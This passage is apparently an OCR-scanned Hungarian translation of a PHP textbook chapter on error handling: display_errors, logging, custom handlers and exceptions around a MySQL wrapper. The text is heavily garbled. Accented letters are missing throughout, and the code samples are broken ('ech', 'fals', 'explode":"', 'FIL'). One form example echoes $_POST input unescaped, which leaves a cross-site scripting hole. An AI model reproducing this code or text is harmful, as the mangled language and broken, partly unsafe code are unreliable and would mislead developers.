Egyik lehetsg sem fontosabb a msiknl; egy erteljes hibakezel rendszerben mindegyik fontos szerepet tlt be. A hibk megjelentse nagyon j szolglatot tehet a fejlesztkrnyezetben, mg a naplzs a munkakrnyezetben megfelelbb. Egyes hibk nyugodtan figyelmen kvl hagyhatk, mg msok vlaszt kvnnak. A felsorolt hibakezelsi mdszerek megfelel keverse az ignyektl fgg.

A hibk megjelentse
Ha a hibk megjelentse mellett dntnk, hibazenetet kldnk a szabvnyos kimeneti folyamra, ami egy weblap esetben azt jelenti, hogy a bngsznek. A bellts a php. ini llomnyban a kvetkezkppen kapcsolhat be: display_errors = On A display_errors a fejleszts sorn sokat segt, mert e bellts rvn azonnal visszajelzst kapunk arrl, hogy mi is csszott flre. Nem kell naplfjlt bngsznnk vagy brmi mst tennnk, csak betlteni az pts alatt ll weblapot.

3. fejezet Hibakezels

77

Ugyanakkor amit a fejleszt j, hogy lt, a vgfelhasznlt gyakran zavarja. A PHP hibazenetek megjelentse szmukra ltalban hrom okbl nem kvnatos: Csnyk. Azt sugalljk, hogy a webhely hibs. Olyan rszleteket rulhatnak el a httrben fut kdrl, amit a rosszindulat felhasznlk kihasznlhatnak. A harmadik pont jelentsgt nem lehet elgg hangslyozni. Ha azt szeretnnk, hogy a kdban esetlegesen elfordul biztonsgi lyukakat megtalljk s kihasznljk, nincs gyorsabb mdszer, mint mkdsi krnyezetben, a display_errors belltst bekapcsolva futtatni a programot. Megtrtnt egyszer, hogy egy klnsen nagy forgalm webhelyen egy rossz INI fjl nhny hiba miatt kikerlt a kpernykre. Amint szrevettk, azonnal kicserltk a fjlt a webkiszolglkon a javtott vltozatra, s gy gondoltuk, ez az egyedi eset csak a bszkesgnkn ejtett csorbt. Msfl vvel ksbb elkaptunk egy kdtrt, aki rendszeresen belerondtott msok honlapjaiba. Cserbe azrt, hogy nem indttattunk ellene eljrst, hajland volt elrulni neknk, milyen gyenge pontokat tallt a rendszerben. A szoksos JavaScript-trkkkn kvl (a webhelyen szmos felhasznl futtatott sajt fejleszts JavaScript-tartalmat) nhny rendkvl gyes programtrsi mdszerre derlt fny, amelyeket annak a kdnak az alapjn dolgozott ki, ami az elz vben, csupn rkig volt kinn a Hln. Az emltett esetben szerencsnk volt: a betr leginkbb a nem ellenrztt felhasznli bemenetet, illetve az alaprtelmezett rtk nlkli vltozkat hasznlta ki (ez mg a register_global eltti idkben trtnt); az adatbzis-kapcsolati informcikat viszont knyvtrakban, s nem az oldalakon troltuk. Szmos webhelyen trtnt mr slyos betrs az albbiakhoz hasonl biztonsgi lyukak lncolatnak ksznheten: A display_errors bekapcsolva hagysa. Az adatbzis-kapcsolatok rszleteinek (mysql_connect ()) trolsa az oldalakban. Nem helyi kapcsolatok engedlyezse a MySQL-hez. A fenti hrom hiba egytt kiszolgltatja az adatbzist mindazok szmra, akik a webhelyen hibazenetet tartalmaz lapot ltnak. Valsznleg megdbbennnk, ha tudnnk, milyen gyakran fordul ez el. n fejleszts kzben bekapcsolom a display_errors belltst, de az les krnyezetben soha.

78

PHP fejleszts felsfokon

Hibk megjelentse mkdsi krnyezetben

Az, hogy miknt rtestjk a felhasznlkat a hibkrl, gyakran zletpolitikai krds. Minden nagy gyfl, akiknek dolgoztam, szigoran szablyozta, mit kell tenni, ha a felhasznl hibval tallkozik. A megoldsok az egyedi hibaoldalak megjelentstl a keresett tartalom valamilyen trolt vltozatt megjelent bonyolult programokig terjedtek. zleti szempontbl ez teljesen rthet: a webes jelenlt az gyfelekkel val kapcsolattarts mdja, gy a hibk kezelse az egsz vllalkozs megtlsre kihathat. Attl fggetlenl, hogy pontosan milyen tartalmat is jelentnk meg vratlan hibk esetn a felhasznlk szmra, hibakeressi informcikat biztosan nem mutatnk nekik. A hibazenetben szerepl informcimennyisgtl fggen ez ugyanis jelents tmadsi felletet nyjtana. Az egyik leggyakrabban alkalmazott megolds az 500-as hibakd visszaadsa s egyni hibakezel belltsa, ami a felhasznlt egy egyedi hibaoldalra viszi. A HTTP 500-as hibakdja bels kiszolglhibt jelez; a PHP-bl gy adhatjuk vissza: header("HTTP/1.0 500 Internl Server E r r or " ) ; Az Apache belltsainl pedig ezt kell megadnunk: ErrorDocument 500 /custom-error.php gy minden oldalt, ami az 500-as llapotkdot adja vissza, a /custom-error .php cmre irnytunk t (belsleg, vagyis a felhasznl szmra lthatatlanul). A fejezet ksbbi, Fels szint kivtelkezel belltsa cm rszben egy msik, kivtel alap megoldst lthatunk.

A hibk naplzsa
A PHP belsleg tmogatja mind a hibk egy adott fjlban, mind a syslog-on keresztl trtn naplzst, a php. ini llomny kt belltsa segtsgvel. Az albbi belltssal adhatjuk meg, hogy a hibkat naplzni kell: log_errors = On

3. fejezet Hibakezels

79

A kvetkezvel pedig azt llthatjuk be, hogy fjlba vagy a rendszernaplba (syslog) rjuk-e a hibt: error_log = /path/to/filename error_log = syslog A naplzs rvn minden hibt visszakereshetnk, ami a webhelyen bekvetkezik. Amikor hibafeldertst vgzek, a krdses kdterlet krl gyakran helyezek el hibakeres sorokat. A rendszerhibk alapjn vagy a trigger_error () -on keresztl naplba rt hibazeneteken kvl az albbi kddal magunk is elllthatunk bejegyzseket a hibanaplban: error_log("Ez egy sajt hibazenet"); Ezenkvl elektronikus levelet is kldhetnk, vagy megadhatjuk a naplfjlt. A rszletekrl a PHP kziknyvbl tjkozdhatunk. Az error_log az error_reporting-nl belltott szinttl fggetlenl naplzza az tadott zenetet, vagyis a kett teljesen kln rszt fedi le a hibakezelsnek. Ha csak egyetlen kiszolglnk van, clszer kzvetlenl fjlba rni a naplbejegyzseket. A syslog meglehetsen lass, gy ha minden begyazott program vgrehajtsnl belerunk valamilyen zenetet (ami mindenkppen nagyon rossz tlet), a naplzs ltal a rendszerre rtt terhels igen jelents lehet. Ha azonban tbb kiszolglt futtatunk, a syslog kzponti naplzsi szolgltatsval knyelmesen egy helyre gyjthetjk a klnbz gpekrl rkez zeneteket, elemzs s trols cljbl. Ha a syslog hasznlata mellett dntnk, mindenesetre kerljk a gyakori naplzst.

A hibk figyelmen kvl hagysa


A @ jellel a PHP lehetv teszi, hogy megakadlyozzuk egyes kivlasztott hibazenetek kldst. gy ha pldul egy olyan fjlt prblunk megnyitni, ami lehet, hogy nem ltezik, de hiba esetn nem szeretnnk hibazenetet kapni, a kvetkezt rhatjuk: $fp = @fopen($file, $mode);

Mivel a PHP hibakezel rendszere (amit hamarosan rszletesebben is megismernk) nem tartalmaz programvezrlsi lehetsgeket, a legegyszerbb, ha elnyomjuk azokat a hibkat, amelyekrl tudjuk, hogy be fognak kvetkezni, de nem kvnunk foglalkozni velk.

80

PHP fejleszts felsfokon

Vegynk egy fggvnyt, amely egy esetleg nem ltez llomny tartalmt kri: $content = file_get_content($sometimes_valid); Ha az llomny nem ltezik, E_WARNING hibt kapunk. Ha tudjuk, hogy ez lehetsges, clszer elnyomni a figyelmeztetst, hiszen amirl elre tudunk, az igazbl nem is hiba. Erre ad mdot a @ opertor, amellyel az egyes hvsokkal kapcsolatos figyelmeztetseket kapcsolhatjuk ki: $content = @file_get_content($sometimes_valid); Ha emellett a php. ini llomnyban megadjuk a track_errors = On belltst, az utols hibazenetet trolhatjuk is a $php_errormsg vltozban. Ez fggetlen attl, hogy hasznltuk-e a @ jelet a hibazenetek elnyomsra.

Mveletek vgzse hiba esetn


A PHP-ben a set_error_handler () fggvnyen keresztl sajt hibakezelket is bellthatunk. Egy ilyen fggvnyt az albbi mdon hatrozhatunk meg:
<?php require "DB/Mysql.inc"; function user_error_handler($severity, $msg, $filename, $linenum) { $dbh = new DB_Mysql_Prod; $query = "INSERT INT errorlog (severity, message, filename, linenum, time) VALUES(?,?,?,?, NOW())"; $sth = $dbh->prepare($query); switch($severity) { case E_USER_NOTICE: $sth->execute('NOTICE', $msg, $filename, $linenum); break; case E_USER_WARNING: $sth->execute('WARNING', $msg, $filename, $linenum); break; case E_USER_ERROR: $sth->execute('FATL', $msg, $filename, $linenum); ech "FATL error $msg at $filename:$linenum<br>"; break; default: ech "Unknown error at $filename:$linenum<br>"; break; } } ?>

3. fejezet Hibakezels

81

A belltst ezutn gy kell megadnunk:


set_error_handler("user_error_handler");

Ha a program hibt szlel, ezutn nem a hibanaplba r vagy hibazenetet jelent meg, hanem a hibt egy adatbzis-tblba jegyzi be, illetve ha vgzetes hibrl van sz, zenetet is r a kpernyre. Jegyezzk meg, hogy a hibakezelk nem nyjtanak programvezrlsi lehetsget. Nem vgzetes hiba esetn a feldolgozs befejeztvel a program a hiba helytl folytatdik, mg vgzetes hibnl a program a hibakezel lefutsa utn befejezdik.

Levlklds nmagunknak

J tletnek tnhet, hogy olyan egyni hibakezelt lltsunk be, amely hiba esetn a mail () fggvnnyel elektronikus levelet kld a fejlesztnek vagy a rendszergazdnak, de az sajnos nagyon rossz megolds. A hibknak megvan az a rossz tulajdonsguk, hogy csoportosan bukkannak fel. Nagyszer lenne, ha garantlhatnnk, hogy egy hiba legfeljebb rnknt egyszer (vagy brmilyen megadott idkzzel) lp fel, de a helyzet tbbnyire az, hogy ha kdolsi hiba kvetkeztben vratlan esemny kvetkezik be, az szmos krelemre hatssal van. Levlkld error_handler () fggvnynk gy akr 20 000 levelet is kldhet a postafikunknak, mire bejutunk s kikapcsolhatjuk. Ha mgis szksgnk van valamilyen vlaszkldsre a hibakezel rendszerben, azt javaslom, rjunk olyan programot, ami a hibanaplt feldolgozva kld levelet, s okosan korltozza az elkldhet levelek szmt.

A kls hibk kezelse


Br a fejezetben eddig trgyaltakat hibakezelsnek hvtuk, valjban nem igazn kezeltk a hibkat. Elfogtuk s feldolgoztuk a programunk ltal kldtt figyelmeztetseket, de kptelenek voltunk arra, hogy a program futst mdostsuk, vagyis akrhogy is vesszk, nem kezeltk a hibkat. Az alkalmazkod hibakezels nagyrszt azon alapul, hogy tudjuk, hol lphet fel hiba, s elre eldntjk, mit tesznk, ha bekvetkezik. Kls hibk tbbnyire akkor addhatnak, amikor kls folyamatokhoz kapcsoldunk, vagy onnan adatokat nyernk ki.

82

PHP fejleszts felsfokon

Vegyk az albbi fggvnyt, amelynek feladata a passwd llomnyban tallhat rszletek (kezdknyvtr, hj, gecos informcik s gy tovbb) visszaadsa egy adott felhasznlra vonatkozan: <?php function get_passwd_info($user) { $fp = fopen("/etc/passwd", "r"); while(!feof($fp)) { $line = fgets($fp);

$fields = explode(";", $line); if($user == $ fi e l d s [ 0 ] ) { return $fields;


} }

return fals;
} ?>

Ebben a formban a kd kt hibt tartalmaz: az egyik tisztn kdlogikai hiba, de a msik egy lehetsges kls hibrl feledkezik meg. Ha a programot futtatjuk, az albbihoz hasonl elemekkel feltlttt tmbt kapunk: <?php print_r(get_passwd_info('www')); ?> Array ( [0] => www:*:70:70: * World Wide Web Server:/Library/WebServer:/noshell ) Ez azrt kvetkezik be, mert az els hiba az, hogy a passwd fjlban a mezelvlaszt nem pontosvessz, hanem kettspont. Ez hibs: $fields = explode(";", Erre kell cserlnnk: $fields = e x p l od e ( " : " , $line); A msik hibt nehezebb szrevenni. Ha a passwd fjl megnyitsa nem sikerl, E_WARNING hibt kapunk, de a program futsa zavartalanul folytatdik. Ha a megadott felhasznl nem szerepel a passwd llomnyban, a fggvny fals rtket ad vissza. Csakhogy a visszatrsi rtk akkor is fals, ha az fopen nem sikerlt, ami elg zavar. $line);

3. fejezet Hibakezels

83

Ez az egyszer plda az egyik legnagyobb nehzsgre vilgt r, amivel az eljrskzpont (vagy legalbbis kivtelekkel nem rendelkez) nyelvekben a hibakezels sorn tallkozunk: hogyan rtestjk a hibrl a hvt, amely felkszlt a kezelsre? Ha az adatokat helyben hasznostjuk, helyi dntseket hozhatunk a hiba kezelsvel kapcsolatban. A fenti fggvnyt pldul gy mdosthatjuk, hogy a megfelel helyzetben egy adott szveget jelentsen meg:
<?php function get_passwd_info($user) { $fp = fopen("/etc/passwd", "r"); if(!is_resource($fp)) { return "Error opening fil"; } while(!feof($fp)) { $line = fgets($fp);

$fields = explode(":", $line); if($user == $f ields [0] ) { return $fields;


} }

return fals;
} ?>

Esetleg bellthatunk egy olyan rtket, ami ltalban nem rvnyes visszatrsi rtk:
<?php function get_passwd_info($user) { $fp = fopen("/etc/passwd", "r"); if(!is_resource($fp)) { return -1; } while(!feof($fp)) { $line = fgets($fp); $fields = explode":", $line); if ($user == $fields[0]) { return $fields; } } return fals; } ?>

84

PHP fejleszts felsfokon

Ezzel a logikval a hibkat feljebb kldhetjk az eredeti hvk fel: <?php function is_shelled_user($user) { $passwd_info = get_passwd_info($user) ; if (is_array($passwd_info) && $passwd_info[7] return 1;
}

!=

'/bin/false')

else if($passwd_info === -1) return -1; } else { return 0;


} } ?>

A mdszer hasznlata megkveteli, hogy minden lehetsges hibt szleljnk: <?php $v = is_shelled_user('www'); i f ( $ v === 1) {
ech "Your Web server user probably shouldn't be shelled.\n"; } else if($v === 0) { ech "Great!\n"; } else {

ech "An error occurred checking the user\n";


} ?>

Ha a megoldst csnynak s zavarosnak talljuk, az azrt van, mert az is. Sajt kezleg, tbb hvn keresztl felfel terjeszteni a hibkat nehzkes, s ez az egyik f oka annak, hogy egyes programozsi nyelvekben bevezettk a kivteleket. Szerencsre a kivtelek a PHP5-tl kezdve mr a PHP-ben is alkalmazhatk. A fenti plda esetben ugyan lehetsges, hogy el tudunk lltani valamilyen mkdkpes kdot, de mi trtnne, ha a krdses fggvny (rvnyesen) visszaadhatna valamilyen szmot is? Hogyan lehetne akkor egyrtelmen tovbbtani a hibt felfel? Ami pedig az egsz katyvaszban a legrosszabb: a bonyolult hibakezel rendszer nem helyileg azokban a fggvnyekben kap helyet, amelyek megvalstjk, hanem feljebb. Radsul a hvsi hierarchiban tallhat minden fggvnynek rtenie s kezelnie kell a hibkat.

3. fejezet Hibakezels

85

Kivtelek
A PHP5 eltt csak az eddig trgyalt megoldsok voltak elrhetk a nyelvben, ami bizony komoly gondokat okozott, klnsen nagyobb alkalmazsok rsakor. Az elsdleges problma az volt, hogy a hibkat egy ismeretlen, a knyvtrt felhasznl kdnak kellett visszaadni. Emlkezznk vissza az imnt megvalstott hibaellenrzsre a passwd fjlt olvas fggvnyben. A plda rsakor alapveten kt lehetsgnk volt a kapcsolati hibk kezelsre: a hiba helyi kezelse s rvnytelen adat (pldul fals) visszaadsa a hvnak, az eredmnyhalmaz visszaadsa helyett a hiba megrzse s tovbbadsa a hvnak. A pldban szerepl fggvnyben az els megoldst azrt nem vlasztottuk, mert a knyvtr elfelttelezssel lt volna azzal kapcsolatban, hogy az alkalmazs milyen hibakezelst vr tle. Ha pldul egy adatbzis-ellenrz programot runk, a hibkat valsznleg igen rszletesen kvnjuk a legfelsbb szint hvnak tovbbtani, mg egy webes alkalmazsban csak egy hibaoldalra szeretnnk irnytani a felhasznlt. A pldban teht a msodik mdszert vlasztottuk, pedig az sem sokkal jobb az elsnl. Az a gond vele, hogy jelents elreltst s pontos tervezst ignyel, hogy biztosthassuk, hogy a hibk helyesen tovbbtdnak az alkalmazson bell. Ha egy adatbzis-lekrdezs pldul egy karakterlncot ad vissza, hogyan klnbztetjk azt meg egy szveges hibazenettl? Ezenkvl a tovbbtst magunknak kell kdolnunk: minden lpsnl sajt kezleg kell felterjesztennk a hibt a hvnak, felismertetni vele, hogy hibrl van sz, majd tovbbadni vagy kezelni. Az elz rszben mr lthattuk, milyen nehz is ez. A kivteleket pont az ilyen helyzetek kezelsre talltk ki. A kivtel olyan vezrlsi szerkezet, amely lehetv teszi, hogy a vgrehajts aktulis folyamatt meglltsuk, s a vermet egy adott pontig visszabontsuk. A fellp hibt egy objektum jelkpezi, amit kivtelknt lltunk be. A kivtelek teht objektumok. Az alapvet esetekhez a PHP a beptett Exception osztlyt biztostja, amelyet kimondottan kivtelkezelsre terveztek. Br nem ktelez, hogy a kivtelek az Exception osztly pldnyai legyenek, a kivteleket kivlt osztlyokat clszer belle szrmaztatni. j kivtel ltrehozshoz a megfelel Exception osztlyt pldnyostjuk s dobjuk" a programnak. Kivtel dobsakor az Exception objektumot mentjk, az aktulis kdblokk vgrehajtst pedig azonnal felfggesztjk. Ha az adott hatkrben be van lltva kivtelkezel blokk, a kdban annak helyre ugrunk, s vgrehajtjuk a kezelt. Ha nincs ilyen, a vgrehajtsi

86

PHP fejleszts felsfokon

verembl kiolvassuk a kvetkez elemet, s a hv hatkrben keresnk kivtelkezel blokkot. Ez addig ismtldik, amg kezelt nem tallunk vagy el nem rjk a legfels hatkrt. Futtassuk ezt a kdot: <?php throw new Exception;
?>

Ezt kapjuk: > php uncaught-exception.php Fatl error: Uncaught exception 'exception'! in Unknown on line 0 Az el nem fogott kivtelek vgzetes hibk, vagyis magukat a kivteleket is kezelnnk kell. Ha figyelmeztetsknt vagy lehetsges nem vgzetes hibaknt kivteleket alkalmazunk egy programban, az adott kdblokk minden hvjnak tudnia kell, hogy kivtel kivltsra kerlhet sor, s fel kell kszlnie annak kezelsre. A kivtelkezel egy utastsblokkbl ll, amelyben a vgrehajtani (kiprblni") kvnt utastsok kapnak helyet, illetve egy msodik blokkbl, amelybe akkor akarunk lpni, ha valamilyen hibval tallkozunk. me egy egyszer plda, amely egy kivltott s elkapott kivtelt mutat: try { throw new Exception; print "This code is unreached\n";
}

catch (Exception $e) { print "Exception caught\n";


}

Itt kivtelt vltunk ki, de egy try blokkban, gy a vgrehajts megll, s elreugrunk a catch blokkra. A catch egy Exception osztlyt kap el (a dobott" osztlyt), gy annak blokkjba lpnk be. A catch blokkot ltalban arra hasznljuk, hogy a bekvetkezett hiba kvetkeztben add szksges takartst elvgezzk. Emltettk korbban, hogy nem szksges, hogy a kivltott kivtel az Exception osztly pldnya legyen. me egy plda, amelyben valami ms szerepel: <?php
class AltException {} try { throw new AltException; } ^

3. fejezet Hibakezels

87

catch (Exception $e) { print "Caught exception\n";


} ?>

A fenti kdot futtatva a kvetkezt kapjuk: > php failed_catch.php Fatl error: Uncaught exception 'altexception'!

in Unknown on line 0

Teht nem sikerlt elkapnunk a kivtelt, mert AltException osztlyba tartoz objektumot dobtunk, a kd viszont csak Exception osztly objektumokra kszlt fel. Nzznk egy kevsb trivilis pldt arra, hogyan lehet egy egyszer kivtellel hibakezelst megvalstani rgi kedvencnkben, a faktorilis fggvnyben. Ez a fggvny csak termszetes szmokkal (vagyis nullnl nagyobb egszekkel) kpes dolgozni; a bemenet ellenrzst gy pthetjk be a programba, hogy kivtelt vltunk ki, ha rvnytelen adat rkezik:
<?php // factorial.inc // Egyszer faktorilis fggvny function factorial($n) { if(!preg_match{'/~\d+$/',$n) II $n < 0 ) { throw new Exception; } else if ($n ==0 II $n == 1) { return $n; } else {

return $n * factorial($ n - 1 );
} } ?>

A fggvnyek rvnyes bemenetnek ellenrzse kulcsfontossg rsze a programok megfelel vdelemmel val elltsnak.

Mirt szablyos kifejezs?

Furcsnak tnhet, hogy az is_int fggvny helyett szablyos kifejezssel ellenrizzk, hogy a $n egsz-e, az emltett fggvny azonban nem azt teszi, amit mi itt szeretnnk. Csak azt ellenrzi, hogy a $n tpusa karakterlnc vagy egsz szm-e, nem pedig azt, hogy az rtke egsz-e. Ez olyan aprsg, amirl knnyen elfeledkezhetnk, ha az is_int-et (tbbek kztt) rlapadatok rvnyestsre hasznljuk. A dinamikus tpusokkal rszletesebben a 20. fejezetben foglalkozunk.

88

PHP fejleszts felsfokon

Amikor meghvjuk a f actorial fggvnyt, gondoskodnunk kell rla, hogy vgrehajtsa egy try blokkban trtnjen, hacsak nem szeretnnk az alkalmazs hallt megkockztatni, amennyiben rossz adatokat kap:
<html> <form method="POST"> Compute the factorial of <input type="text" name="input" value="<?= $_POST['input'] ?>"><br> <?php include "factorial.inc"; if($_POST['input']) { try { $input = $_POST['input']; $output = factorial($input); ech "$_POST[input]! = $output"; } catch (Exception $e) { ech "Only natural numbers can have their factorial computed."; } } ?> <br> <input type="submit" name="posted" value="Submit"> </form>

Kivtelhierarchik hasznlata
Egy try-hoz tbb catch blokkot is rendelhetnk, ha a klnfle hibkat klnbzkppen szeretnnk kezelni. A faktorilis pldt pldul gy mdosthatjuk, hogy azokat az eseteket is kezelje, amikor a $n tl nagy a PHP matematikai lehetsgeihez kpest:
class OverflowException {} class NaNException {} function factorial($n) { if ( !preg_match( ' //v\d+$/ ' , $n) I I $n < 0 ) { throw new NaNException; } else if ($n ==0 II $n == 1) { return $n;
}

else if ($n > 170 ) { throw new OverflowException; } else { return $n * factorial($n - 1); } }

3. fejezet Hibakezels

89

Most minden hibaesetet mskpp kezelnk: <?php if($_POST['input']) { try { $input = $_POST['input']; $output = factorial($input); ech "$_POST[input]! = $output"; } catch (OverflowException $e) { ech "The requested value is too large."; } catch (NaNException $e) { ech "Only natural numbers can have their factorial computed."; } } ?>

A kd jelenlegi formjban kln fel kell sorolnunk minden lehetsges esetet, ami egyrszt fraszt, msrszt veszlyes lehet, mert a knyvtrak nvekedsvel a lehetsges kivtelek halmaza is n, gy egyre knnyebb lesz megfeledkezni valamelyikrl. Megoldsknt csaldokba csoportosthatjuk a kivteleket, s egy rklsi fa ltrehozsval sszekapcsolhatjuk azokat: class MathException extends Exception {} class NaNException extends MathException {} class OverflowException extends MathException {} A catch blokkot ezutn a kvetkezkppen szervezhetjk jj:
<?php if<$_POST['input']) { try { $input = $_POST['input']; $output = factorial($input); ech "$_POST[input]! = $output"; } catch (OverflowException $e) { ech "The requested value is too large."; } catch (MathException $e) { ech "A generic math error occurred"; }

90

PHP fejleszts felsfokon

catch (Exception $e) { ech "An unknown error occurred"; } } ?> Ebben az esetben, ha Overf lowException hiba lp fel, azt az els catch blokk kapja el. Ha a MathException brmely ms leszrmazottjt dobjuk (pldul egy NaNException-t), a msodik catch blokk lp mkdsbe. Vgl az els kett ltal le nem fedett ms Exception-leszrmazottakat kapjuk el. Ez az elnye annak, ha minden kivtel az Except ion-ti szrmazik: olyan ltalnos catch blokkot rhatunk, amely anlkl kpes minden kivtelt kezelni, hogy egyenknt fel kellene sorolnia azokat. A mindent elkap kivtelkezelk azrt fontosak, mert lehetv teszik, hogy akr olyan hibkat is feldolgozunk, amelyeket nem ltunk elre.

Tpusos kivtelek - egy plda


A fejezetben eddig bemutatott kivtelek mind (legalbbis legjobb tudsunk szerint) mentesek voltak a tulajdonsgoktl. Ha csak a kivltott kivtel tpusnak megllaptsra van szksgnk, s a hierarchit gondosan lltottuk fel, ez ignyeink legtbbjt ki is elgti. Ha viszont a kivtelekben tadott informcik csakis karakterlncok lehetnnek, a kivteleket karakterlnc-hasznlattal valstottk volna meg teljes objektumok helyett. Mi azonban azt szeretnnk, ha a kivtelt elkap hv szmra tetszleges hasznos informcit adhatnnk t. Maga az alap-kivtelosztly tbbre kpes annl, mint amit eddig megtudtunk rla. Beptett osztly, vagyis megvalstsa C s nem PHP nyelv. Nagyjbl gy nz ki: class Exception { Public function _______ construct($message=false, $code=false) { $this->file =________ FIL___ ; $this->line =_______ LINE___; $this->message = $message; // a hibazenet karakterlncknt $this->code = $code; // a szmmal jelzett hibakdok helye
}

public function getFileO return $this->file;


}

public function getLineO return $this->line;


}

public function getMessage() return $this->message;


}

public function getCode() return $this->code;


} }

3. fejezet Hibakezels A__ FIL__ s a___ LINE__ tvizsglsa az utols hvrt ltalban nem nyjt hasznos informcit. Tegyk fel, hogy gy dntnk, kivtelt vltunk ki, ha a DB_Mysql burkol knyvtrban gondunk van egy lekrdezssel: class DB_Mysql { // .. . public function execute($query) if (!$this->dbh) { $this->connect() ;
}

91

$ret = mysql_query($query, if(!is_resource($ret)) { throw new Exception;


}

$this->dbh);

return new MysqlStatement($ret) ;


} }

Vltsuk ki ezt a kivtelt a kdban egy nyelvtanilag helytelen lekrdezs vgrehajtsval:


<?php require_once "DB.inc"; try { $dbh = new DB_Mysql_Test; // ... lekrdezsek vgrehajtsa az adatbzis-kapcsolaton $rows = $dbh->execute("SELECT * FROM")->fetchall_assoc(); } catch (Exception $e) { print_r($e); } ?>

Ekkor ezt kapjuk: exception Object ( [fil] => /Users/george/Advanced PHP/examples/chapter-3/DB.inc [line] => 42 )

A DB. inc 42. sora maga az execute () utasts! Amennyiben a try blokkon bell tbb lekrdezst is vgrehajtunk, nem tudjuk megllaptani, melyik okozta a hibt. St, a helyzet mg ennl is rosszabb: ha sajt kivtelosztlyt hasznlunk, s magunk lltjuk be a $f ile s $line vltozkat (vagy a parent: :________ contsruct-ot hvjuk meg az Exception konstruktornak futtatshoz), az lesz az eredmny, hogy a_______ FIL__ s a__ LINE__ els hv lesz maga a konstruktr. Amit azonban mi szeretnnk, az a teljes visszakvets a problma helytl.

92

PHP fejleszts felsfokon

Most alaktsuk t a DB burkol knyvtrakat, hogy kivteleket hasznljanak. A visszakvetsi adatokkal val feltlts mellett megprblhatjuk belltani a message s code tulajdonsgokat is a MySQL hibainformcikkal: class MysqlException extends Exception { public $backtrace; public function _____ construct($message=false, if(!$message) { $this->message = mysql_error() ;
}

$code=false)

i f( ! $ c od e ) { $this->code = mysql_errno() ;
}

$this->backtrace = debug_backtrace();
} }

Tegyk fel, hogy most a knyvtrat ennek a kivteltpusnak a hasznlatra lltjuk: class DB_Mysql { public function execute($query) if ( !$this->dbh) { $this->connect() ;
}

$ret = mysql_query($query, $this->dbh); if(!is_resource($ret)) { throw new MysqlException;


}

return new MysqlStatement($ret) ;


} }

Emellett megismteljk a tesztet: <?php require_once "DB. i n c"; try {


$dbh = new DB_Mysql_Test; // ... lekrdezsek vgrehajtsa az adatbzis-kapcsolaton $rows = $dbh->execute("SELECT * FROM")->fetchall_assoc(); } catch (Exception $e) { print_r ($e) ; "*} ?>

3. fejezet Hibakezels

93

A fenti kt lps eredmnye ez lesz: mysqlexception Object ( [backtrace] => Array ( [0] => Array ( [fi l ] => /Users/george/Advanced PHP/examples/chapter-3/DB.inc [line] => 45 [function] => _____ construct [class] => mysqlexception [type] => -> [args] => Array ( ) ) [1] => Array ( [fil] => /Users/george/Advanced PHP/examples/chapter-3/test.php [line] => 5 [function] => execute [class] => mysql_test [type] => -> [args] => Array ( [0] => SELECT * FROM ) ) ) [message] => You have an error in your SQL syntax near '' at line 1 [code] => 1064 ) A korbbi kivtellel sszehasonltva most rengeteg informcit kapunk: a hiba helyt, azt, hogy hogyan jutott a program a hibig, valamint a hibhoz kapcsold MySQL informcikat.

Most mr a teljes knyvtrat talakthatjuk az j kivtel hasznlatra: class MysqlException extends Exception { public $backtrace; public function __construct($message=false, $code=false) { if(!$message) { $this->message = mysql_error(); }

94

PHP fejleszts felsfokon

if(!$code) { $this->code = mysql_errno(); } $this->backtrace = debug_backtrace(); } } class DB_Mysql { protected $user; protected $pass; protected $dbhost; protected $dbname; protected $dbh; public function __ construct($user, $pass, $dbhost, $dbname) { $this->user = $user; $this->pass = $pass; $this->dbhost = $dbhost; $this->dbname = $dbname; } protected function connect() { $this->dbh = mysql_pconnect($this->dbhost, $this->user, $this->pass) if(!is_resource($this->dbh)) { throw new MysqlException; } if(!mysql_select_db($this->dbname, $this->dbh)) { throw new MysqlException; } } public function execute($query) { if(!$this->dbh) { $this->connect(); } $ret = mysql_query($query, $this->dbh); if(!$ret) { throw new MysqlException; } else if(!is_resource($ret)) { return TRUE; } else { return new DB_MysqlStatement ($ret) ; } } public function prepare($query) { if(!$this->dbh) { $this->connect() ; } return new DB_MysqlStatement($this->dbh, $query); } }

3. fejezet Hibakezels

95

class DB_MysqlStatement { protected $result; protected $binds; public $query; protected $dbh; public function __ construct($dbh, $query) { $this->query = $query; $this->dbh = $dbh; if(!is_resource($dbh)) { throw new MysqlException("Not a valid database connection"); } } public function bind_param($ph, $pv) { $this->binds[$ph] = $pv; } public function execute() { $binds = func_get_args() ; foreach($binds as $index => $name) { $this->binds[$index + 1] = $name; } $cnt = count($binds) ; $query = $this->query; foreach ($this->binds as $ph => $pv) { $query = str_replace(":$ph",.... mysql_escape_string($pv)...., $query) ; } $this->result = mysql_query($query, $this->dbh); if ( !$this->result) { throw new MysqlException; } } public function fetch_row() { if ( !$this->result) { throw new MysqlException("Query not executed"); } return mysql_fetch_row($this->result); } public function fetch_assoc() { return mysql_fetch_assoc($this->result); } public function fetchall_assoc() { $retval = arrayO; while($row = $this->fetch_assoc()) { $retval[] = $row; } return $retval; } }
? >

96

PHP fejleszts felsfokon

A kivtelek tncolsa
Nha szksg lehet arra, hogy kezeljnk egy hibt, de emellett tovbb is adjuk tovbbi hibakezelknek. Ezt gy tehetjk meg, hogy a catch blokkban j kivtelt vltunk ki: <?php try { throw new Exception;
}

catch (Exception $e) { print "Exception caught, throw new Exception;


} ?>

and rethrown\n";

A catch blokk elfogja a kivtelt, kirja a hibazenetet, majd j kivtelt dob. Az elz pldban nem szerepelt az j kivtel kezelsre szolgl catch blokk, ezrt azt nem tudjuk elkapni. Figyeljk meg, mi trtnik, ha futtatjuk a kdot: > php re-throw.php Exception caught, and rethrown Fatl error: Uncaught exception 'exception'! in Unknown on line 0 Valjban nem is szksges j kivtelt kivltanunk. jradobhatjuk az aktulis Exception objektumot is, azonos eredmnnyel:
<?php try { throw new Exception; } catch (Exception $e) { print "Exception caught, and rethrown\n"; throw $e; } ?>

A kivtelek jradobsnak lehetsge azrt fontos, mert nem lehetnk biztosak benne, hogy egy elfogott kivtelt valban kezelni szeretnnk. Tegyk fel pldul, hogy vissza szeretnnk kvetni webhelynkn a hivatkozsokat. Ehhez az albbi tblval rendelkeznk:
CREATE TABLE track_referrers ( url varchar2(128) not null primary key, counter int );

3. fejezet Hibakezels

97

